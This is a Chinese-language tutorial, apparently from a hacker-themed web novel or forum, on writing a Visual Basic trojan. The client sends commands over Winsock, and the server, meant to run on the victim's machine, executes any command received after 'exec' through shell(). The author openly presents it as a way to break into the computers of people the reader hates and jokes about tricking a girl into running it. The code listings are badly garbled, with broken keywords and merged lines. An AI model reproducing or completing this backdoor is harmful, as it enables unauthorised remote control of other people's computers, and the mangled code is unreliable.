书名:super红客

vb编写木马程序

    今天我为大家讲如何用vb编写“木马“程序

    木马一般分为两个主程序:一个是服务器端的程序(server),另一个是客户端程序(t),服务器程序是给

    攻击对象用的,千万不可用错了----给自己种马的人......^0^

    客户程序才是给自己用的,于是我们就用vb建立两个程序,一个为服务器端程序cockhorseserver,另一个为

    客户端程序cockhorset.

    先在cockhorset程序中建立一个窗体,加载一个insock控件,称为tcpt,再加上两个文本框,用来

    输入服务器的ip地址和端口号.另外还要建立一个按钮,按下后可以对连接进行初始化.

    代码我写下:

    privatesubmand1_click

    调用ect方法,初始化连接.

    =

    =val()这是端口号,默认为100和指定的ip相对的计算机相连接

    =false

    endsub

    (在收到数据之后,就要对这些数据做出相应的处理,使用dataarrival事件,可以方便运载数据进操作.

    privatesubtcpt_dataarrival(byvalbytestotallong)

    dimstrdatastrinstrdata

    strdata=“testect“the=“ectok“+vbneline+localip“:“+-+“putername:“+

    =+vbneline+“remoteis:“+-+“putername:“+

    instr(trim(strdata),“closeok?“)>0the

    end

    endi=+vbneline++“:“+strdata

    endsub

    endsub

    这是这一段代码

    cockhorset程序的核心部分就是这些,下面我讲cockhorseserver程序

    cockhorseserver程序也是先建立一个窗体,也要加载一个insock控件,(方便一些,我在同一个工程下建立这

    个窗体).如果当cockhorset程序运行时,cockhorset程序就会对cockhorseserver发出连接请求,

    为了完成这个连接任务,可以用erequest事件来完成,然后就是具体的错误情况的表达.

    代码我打出来:

    ihen

    intmax=intmax+1

    loadtcpserver(intmax)

    tcpserver(intmax).localport=0

    tcpserver(intmax).acceptrequestid

    dditem(tcpserver(intmax).remotehostip)

    xt=“填上你的恨的人的ip吧!“

    tcpserver(intmax).nddata“testect“

    end

    呵呵.刚才忘记定义名称了

    它的效果是:在cockhorset程序被按下的时候,cockhorseserver程序的erequest事件被触发,

    从而执行上面的程序,产生连接.

    现在的cockhorseserver程序只能做链接,还不能处理cockhorset程序所发出的指令,我们还必需用

    dataarrival事件.

    代码是这样的:

    privatesubtcpserver_dataarrival(ieger,byvalbytestotallong)

    dimstrdatastring

    dimcheck_blong

    erroerr_pro

    tcpserver(index).getdatastrdata

    check_blong=instr(trim(strdata),“exec“)

    check_blong>0then

    strdata=trim(strdata)

    strdata=right((strdata)-4)

    =+vbnelicpserver(index).remotehostip+““+“要求执行下面的程序:“+strdata

    shell(strdata)

    else

    check_blong=instr(trim(strdata),“closeok“)

    check_blong>0then

    tcpserver(index).close

    (index-1)

    =+vbnelicpserver(index).remotehostip+““+“已经断开!“

    els=tcpserver(index).remotehosti=+vbnelicpserver(index).remotehostip+““+strdata

    end

    endsub

    end

    err_pro:

    err=53then

    msgbox“所执行的程序的路径有错误!“,+tcpserver(index).remotehostip+“该程序在执行时被拒绝!“

    tcpserver(index).nddata““

    end

    resume

    endsub

    这样,cockhorseserver程序就完了,这就是一个最基本的木马程序,你用它就可以把你想要黑的人的电脑搞定!至于怎么让mm运行你编写的木马服务端程序,那就是你的自己的事情啦!

    好了.大概就是这样.控件名称呢.自己定义.我也好长时间没碰vb了.呵呵

    </p>